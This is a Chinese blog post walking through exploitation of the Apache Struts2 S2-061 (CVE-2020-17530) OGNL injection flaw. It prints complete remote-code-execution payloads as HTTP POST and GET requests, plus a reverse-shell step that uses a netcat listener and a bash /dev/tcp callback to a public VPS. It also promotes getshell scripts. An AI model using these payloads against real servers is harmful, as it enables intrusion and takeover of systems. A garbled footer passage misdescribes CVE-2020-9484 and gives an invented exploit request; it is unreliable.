s2-061(CVE-2020-17530)漏洞复现+利用+getshell工具。

声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

S2_061出来有一阵子了,早就想搞一波了,都是出差给耽误了。
漏洞简介

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

影响版本

Apache Struts 2.0.0 - 2.5.25

环境搭建
docker 环境

https://github.com/vulhub/vulhub/tree/mas
ter/struts2/s2-061

没搞过的兄弟可以参考下我之前的文章
docker环境搭建

我自己也搭了个靶机,暂时不会关闭,不想搭建的的老铁可以用我的docker环境。放在我文末的公众号了。
**

一、访问目标地址

**
在这里插入图片描述

**

二、漏洞检测

payload:**

http://192.168.1.110:8080/?id=%25%7b+%27test%27+%2b+(2000+%2b+20).toString()%7d

预计回显test2020执行成功
在这里插入图片描述
确定漏洞存在

**

三、命令执行

**
目前网上有两个POC
1、

POST /index.action HTTP/1.1
Host: 192.168.1.110:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 829

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("ls")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--

结果:
在这里插入图片描述

2、

POST /index.action HTTP/1.1
Host: 192.168.1.110:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.110:8080/index.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1361

------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + 
(#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + 
(#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + 
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + 
(#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--


运行结果:
在这里插入图片描述

这里GET方法请求也是可以的
Poyload:

?id=%25{(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application[%27org.apache.tomcat.InstanceManager%27]).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr[%27struts.valueStack%27]).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d{%27whoami%27}).(%23res%3d%23exec.exec(%23cmd))}

在这里插入图片描述

**

四、反弹shell

**
1、先在公网VPS上监听一个端口

nc -lvvp 1234

在这里插入图片描述
2、执行反弹shell命令

bash -i >& /dev/tcp/49.232.xxx.xxx/1234

和shiro反序列化命令一样,bash反弹命令需要进行进行编码转换
在线转换工具地址:
http://www.jackson-t.ca/runtime-exec-payloads.html

在这里插入图片描述
将要执行的命令替换成转换后的命令就可以反弹shell了(发包是无回显的。

在这里插入图片描述

如下图已经上线了
在这里插入图片描述

五、编写脚本
目前只写了参数是ID的,今天想整理个爆破参数的,但是字典没搞出来,有字典的话for循环就可以解决了。

批量检测脚本:
在这里插入图片描述
运行:
在这里插入图片描述

命令执行:

在这里插入图片描述

在这里插入图片描述

六、GETshell工具已经上传至公众号。

微信公众号回复“s2_061”获取靶机地址、Python脚本、getshell脚本。

在这里插入图片描述

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2020-9484是Apache Tomcat容器中的一种身份验证绕过漏洞。要复现漏洞,我们需要满足以下条件: 1. 安装Apache Tomcat服务器:首先需要在本地或远程环境中安装Apache Tomcat服务器。确保Tomcat版本为9.0.0.M1至9.0.0.30。 2. 配置Tomcat服务器:在Tomcat的配置文件中(通常是server.xml),需要启用HTTP Connector属性中的restEnabled参数。该参数默认为false,我们需要将其设置为true。 3. 修改用户配置文件:在Tomcat配置文件的users节点中,添加一个或多个用户。为了复现漏洞,我们需要至少添加一个用户名为test的用户及其密码。 4. 启动Tomcat服务器:启动Tomcat服务器,确保它在本地或远程环境中运行。 5. 发起请求攻击:使用任何Web请求工具(如curl、Postman等),构造以下HTTP请求: POST /servlets-examples/servlet/RequestParamExample HTTP/1.1 Host: [Tomcat服务器IP地址]:[Tomcat服务器端口号] Content-Length: [content-length] Transfer-Encoding: [transfer-encoding] attName=%25%7B%25+%27test%27%2e%25+%27class%27%7d 其中,[Tomcat服务器IP地址]替换为Tomcat服务器的实际IP地址,[Tomcat服务器端口号]替换为Tomcat服务器的实际端口号,[content-length]和[transfer-encoding]分别为请求体的长度和编码方式。 6. 漏洞验证:如果成功复现漏洞,我们将获得类似以下的服务器响应: HTTP/1.1 200 OK [其他响应头信息] Content-Type: text/html;charset=UTF-8 [其他响应体信息] ${%27test%27.class} 如果响应体中包含"${'test'.class}"的引用,则漏洞已成功复现。这说明攻击者绕过了身份验证,并成功执行了恶意代码。 需要注意的是,CVE-2020-9484漏洞可能会导致未经授权的远程代码执行,攻击者可以利用漏洞来执行任意代码,可能导致服务器受到严重影响。在验证漏洞后,建议尽快升级Tomcat服务器,安装相应的补丁或增加其他安全措施,以避免潜在的安全威胁。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值